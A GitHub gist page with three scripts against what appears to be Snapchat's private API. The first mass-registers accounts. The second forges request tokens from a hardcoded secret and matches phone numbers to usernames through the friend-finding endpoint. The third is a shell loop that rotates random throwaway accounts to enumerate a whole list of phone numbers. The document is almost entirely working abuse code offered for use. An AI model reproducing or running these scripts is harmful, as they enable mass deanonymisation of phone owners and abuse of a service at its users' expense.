Created
January 1, 2014 05:38
-
-
Save jab416171/8205377 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# python2 bulk_register.py < accounts.txt > registered.txt | |
# format accounts.txt like 'username:password:email' | |
import requests | |
import sys | |
accounts = [a.split(":") for a in sys.stdin.read().split("\n") if a.strip() != ""] | |
base = "https://feelinsonice.appspot.com" | |
for account in accounts: | |
username, password, email = account | |
reg = requests.post(base + "/bq/register", data={ | |
"req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b", | |
"timestamp": 1373209025, | |
"email": email, | |
"password": password, | |
"age": 19, | |
"birthday": "1994-11-27", | |
}, headers={"User-agent": None}) | |
if not reg.json()["logged"]: | |
continue | |
nam = requests.post(base + "/ph/registeru", data={ | |
"req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b", | |
"timestamp": 1373209025, | |
"email": email, | |
"username": username | |
}, headers={"User-agent": None}) | |
if not nam.json()["logged"]: | |
continue | |
sys.stdout.write(":".join(account) + "\n") | |
sys.stdout.flush() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# python2 find_friends.py < numbers.txt > results.txt | |
import requests | |
import hashlib | |
import json | |
import sys | |
def request_token(auth_token, timestamp): | |
secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk" | |
pattern = "0001110111101110001111010101111011010001001110011000110001000110" | |
first = hashlib.sha256(secret + auth_token).hexdigest() | |
second = hashlib.sha256(str(timestamp) + secret).hexdigest() | |
bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)] | |
return "".join(bits) | |
numbers = sys.stdin.read().split("\n") | |
base = "https://feelinsonice.appspot.com" | |
r = requests.post(base + "/bq/login", data={ | |
# These are hardcoded, just because it's easy. | |
"req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b", | |
"timestamp": 1373209025, | |
"username": sys.argv[1], | |
"password": sys.argv[2] | |
}, headers={"User-agent": None}) | |
auth_token, username = r.json()["auth_token"], r.json()["username"] | |
# We can hardcode these as well. | |
static = {"req_token": request_token(auth_token, 1373209025), "countryCode": "US", "timestamp": 1373209025, "username": username} | |
for number in numbers: | |
n = json.dumps({number: "J. R. Hacker"}) | |
r = requests.post(base + "/ph/find_friends", data=dict(static, numbers=n), headers={"User-agent": None}).json() | |
if len(r["results"]) < 1: | |
continue | |
sys.stdout.write("{0} -> {1}\n".format(number, r["results"][0]["name"])) | |
sys.stdout.flush() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Put phone numbers in numbers.txt. The file will be empty when the script is done | |
while [ -s numbers.txt ]; do | |
# Attempt to register with a random username and password | |
USERN=$(tr -cd '[:alnum:]' < /dev/urandom | fold -w10 | head -n1); PASSW=$(tr -cd '[:alnum:]' < /dev/urandom | fold -w10 | head -n1); EMAL=$(tr -cd '[:alnum:]' < /dev/urandom | fold -w10 | head -n1); echo ${USERN}:${PASSW}:${EMAL}\@yahoo.com > accounts.txt | |
python2 bulk_register.py < accounts.txt > registered.txt | |
while [ ! -s registered.txt ]; do | |
USERN=$(tr -cd '[:alnum:]' < /dev/urandom | fold -w10 | head -n1); PASSW=$(tr -cd '[:alnum:]' < /dev/urandom | fold -w10 | head -n1); EMAL=$(tr -cd '[:alnum:]' < /dev/urandom | fold -w10 | head -n1); echo ${USERN}:${PASSW}:${EMAL}\@yahoo.com > accounts.txt | |
python2 bulk_register.py < accounts.txt > registered.txt | |
done | |
# Grab one phone number | |
tail -n1 numbers.txt > numbersshort.txt | |
# Look up the phone number | |
python lookup.py $USERN $PASSW < numbersshort.txt >> results.txt | |
if [ "$?" -eq "0" ]; then | |
sed -i '$ d' numbers.txt | |
fi | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment